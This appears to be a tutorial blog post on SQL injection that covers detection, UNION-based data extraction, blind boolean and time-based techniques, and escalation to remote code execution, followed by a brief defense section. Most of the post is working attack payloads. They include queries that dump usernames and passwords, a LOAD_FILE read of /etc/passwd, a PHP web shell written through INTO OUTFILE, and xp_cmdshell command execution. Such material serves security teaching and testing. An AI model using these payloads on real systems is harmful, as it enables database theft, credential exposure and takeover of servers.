SQL injection is one of the oldest and most consistently exploited vulnerability classes on the web. It’s been in the OWASP Top 10 since 2003. It keeps showing up in real engagements, bug bounty reports, and CTF challenges year after year.

This post walks through SQL injection end-to-end — detection, manual exploitation, data extraction, and in some cases, a path to remote code execution.

How It Works Link to heading

When a web application constructs a SQL query by directly embedding user input, an attacker can manipulate that query’s logic.

# Vulnerable code
query = "SELECT * FROM users WHERE username = '" + username + "'"

If username is ' OR '1'='1, the query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1'

That condition is always true — so the query returns every row in the table.

Step 1: Detection Link to heading

The classic first move is injecting a single quote and watching what happens.

https://target.com/item?id=1'

Possible responses:

  • 500 / SQL error message → obvious injection point, error-based SQLi
  • 200 but different content → boolean-based SQLi possible
  • Timeout → time-based SQLi possible
  • No difference → may be protected, or the param isn’t reflected

Try both ' and '' (two quotes). If the page behaves normally on '' and breaks on ', you’ve confirmed a string-based injection point.

Step 2: Confirming Injection Link to heading

Use ORDER BY to probe the number of columns:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   ← error here means 2 columns

Then use UNION SELECT to confirm:

' UNION SELECT NULL,NULL--

If you get a result back (or no error), you’ve got a UNION-based injection.

Step 3: Extracting Data Link to heading

Find which columns are reflected in the page output:

' UNION SELECT 'a','b'--

Whichever values appear in the response are your output channels. Now extract real data:

-- Get database version
' UNION SELECT version(),NULL--

-- Get current database name
' UNION SELECT database(),NULL--

-- List all tables
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--

-- Dump a table
' UNION SELECT username,password FROM users--

Step 4: Blind Injection Link to heading

When no data is reflected, you have to infer results from the app’s behavior.

Boolean-based:

' AND 1=1--   ← true condition, normal response
' AND 1=2--   ← false condition, different response

Extract data character by character:

' AND SUBSTRING(database(),1,1)='a'--
' AND SUBSTRING(database(),1,1)='b'--
...

Time-based (when nothing is reflected at all):

'; IF(1=1) WAITFOR DELAY '0:0:5'--    -- MSSQL
' AND SLEEP(5)--                        -- MySQL

Measure response time to infer true/false.

Step 5: From Data Extraction to RCE Link to heading

On MySQL with FILE privilege, you can sometimes read and write files:

-- Read a file
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--

-- Write a web shell (if you know the web root)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

Then:

https://target.com/shell.php?cmd=id

On MSSQL with xp_cmdshell enabled (or can be enabled with SA creds):

'; EXEC xp_cmdshell('whoami')--

Defense Link to heading

If you’re a developer reading this:

  1. Use parameterized queries / prepared statements — always, everywhere
  2. Use an ORM that handles escaping for you
  3. Least privilege — the DB user should not have FILE or admin rights
  4. Input validation — whitelist expected formats
  5. WAF — not a replacement for the above, but adds a layer
# Safe parameterized query
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

SQL injection is a classic for a reason. The underlying concept hasn’t changed in 25 years — applications trust user input when they shouldn’t. Understanding it at this level makes you a better attacker and a better defender.

Next in this series: XSS — from reflected to stored to DOM-based.